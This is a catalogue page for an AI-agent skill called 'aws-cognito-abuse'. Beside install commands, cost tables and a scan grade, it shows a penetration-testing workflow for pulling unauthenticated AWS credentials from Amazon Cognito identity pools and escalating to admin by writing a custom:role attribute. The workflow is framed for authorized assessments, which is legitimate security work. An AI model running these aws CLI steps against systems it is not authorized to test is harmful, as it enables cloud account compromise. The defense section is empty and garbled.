Getting it into your agent
It runs from inside its repository, so the clone comes first — what it calls does not travel with the file alone.
git clone --depth 1 https://github.com/ShulkwiSEC/bb-hugenpx agentmods add skills/shulkwisec/bb-huge/aws-cognito-abuseWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/shulkwisec/bb-huge/aws-cognito-abuse)<a href="https://agentmods.dev/skills/shulkwisec/bb-huge/aws-cognito-abuse"><img src="https://agentmods.dev/badge/skills/shulkwisec/bb-huge/aws-cognito-abuse/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/shulkwisec/bb-huge/aws-cognito-abuse"><img src="https://agentmods.dev/badge/skills/shulkwisec/bb-huge/aws-cognito-abuse.svg" alt="Reviewed on agentmods" width="80" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00044 | $0.01057 |
| Opus 5 | $0.00022 | $0.00528 |
| Sonnet 5 | $0.00009 | $0.00211 |
| Haiku 4.5 | $0.00004 | $0.00106 |
Grade A, and why
aws-cognito-abuse scanned grade A with 0 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 10d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Nothing flagged
None of the 26 patterns this scan looks for appear in this file: no shell pipes, no recursive deletes, no credential paths, no hidden text, no instruction-override or anti-refusal phrasing, no agent-config snooping. That is not a guarantee, it is the absence of the things that are checkable.
Copies of this mod
1 near-identical copy found in the catalogue:
- aws-cognito-abuse — 100% identical, 0 lines differ
How it starts
The opening of the file, as written. The whole thing — 127 lines — stays where its author put it; the contents beside it link to each section on GitHub.
AWS Cognito Abuse
When to Use
- When testing applications hosted on AWS that utilize Amazon Cognito for user authentication (User Pools) and authorization (Identity Pools).
- To demonstrate how improper attribute mapping or overly permissive unauthenticated roles in Cognito can lead to full AWS account compromise.
Prerequisites
- Authorized scope and rules of engagement for the target environment
- Appropriate tools installed on the attack/analysis platform
- Understanding of the target technology stack and architecture
- Documentation template ready for findings and evidence capture
Workflow
Phase 1: Identifying Cognito Parameters
# grep -r "us-east-1:[0-9a-fA-F-]*" .
Phase 2: Exploiting Identity Pools (Unauthenticated Access)
# aws cognito-identity get-id --identity-pool-id "us-east-1:xxxx-xxxx-xxxx" --region us-east-1
# aws cognito-identity get-credentials-for-identity --identity-id "us-east-1:yyyy-yyyy-yyyy" --region us-east-1
# export AWS_ACCESS_KEY_ID=ASIA...
export AWS_SECRET_ACCESS_KEY=...
export AWS_SESSION_TOKEN=...
Phase 3: Exploiting User Pools (Self-Registration & Attributes)
# aws cognito-idp sign-up --client-id xxx --username [email protected] --password "Password123!"
# aws cognito-idp update-user-attributes --access-token yyy --user-attributes Name="custom:role",Value="admin"
Phase 4: Exploiting IAM Privileges
# aws sts get-caller-identity
aws s3 ls
aws iam list-roles
Decision Point 🔀
flowchart TD
A[Discover Pool IDs ] --> B{Identity Pool Access? ]}
B -->|Yes| C[Get Temporary AWS Credentials ]
B -->|No| D[Analyze User Pool ]
C --> E[Enumerate AWS Environment ]
🔵 Blue Team Detection & Defense
- Disable Unauthenticated Access: Attribute Write Permissions: Least Privilege IAM: Key Concepts | Concept | Description | |---------|-------------|
Output Format
Aws Cognito Abuse — Assessment Report
============================================================
Target: [Target identifier]
Assessor: [Operator name]
Date: [Assessment date]
Scope: [Authorized scope]
MITRE ATT&CK: [Relevant technique IDs]
Findings Summary:
[Finding 1]: [Severity] — [Brief description]
[Finding 2]: [Severity] — [Brief description]
Detailed Results:
Phase 1: [Phase name]
- Result: [Outcome]
- Evidence: [Screenshot/log reference]
- Impact: [Business impact assessment]
Phase 2: [Phase name]
- Result: [Outcome]
- Evidence: [Screenshot/log reference]
- Impact: [Business impact assessment]
Risk Rating: [Critical/High/Medium/Low/Informational]
Recommendations:
1. [Immediate remediation step]
2. [Long-term hardening measure]
3. [Monitoring/detection improvement]
What ships with it
2 files beside SKILL.md in the same directory: the scripts, references and assets a skill reads on demand. Not counted in the per-session cost; read them before you install if any of them is executable.
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 10d ago First seen · 127 lines · 44 tokens per session scan A 697a1b71303a
aws-cognito-abuse is a skill published in the GitHub repository ShulkwiSEC/bb-huge (22 stars, last pushed 2mo ago), licensed MIT. It adds 44 tokens to every session and 1,057 once invoked, about $0.0002 per session on Opus 5. A static security scan graded it A with 0 findings. No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-30.
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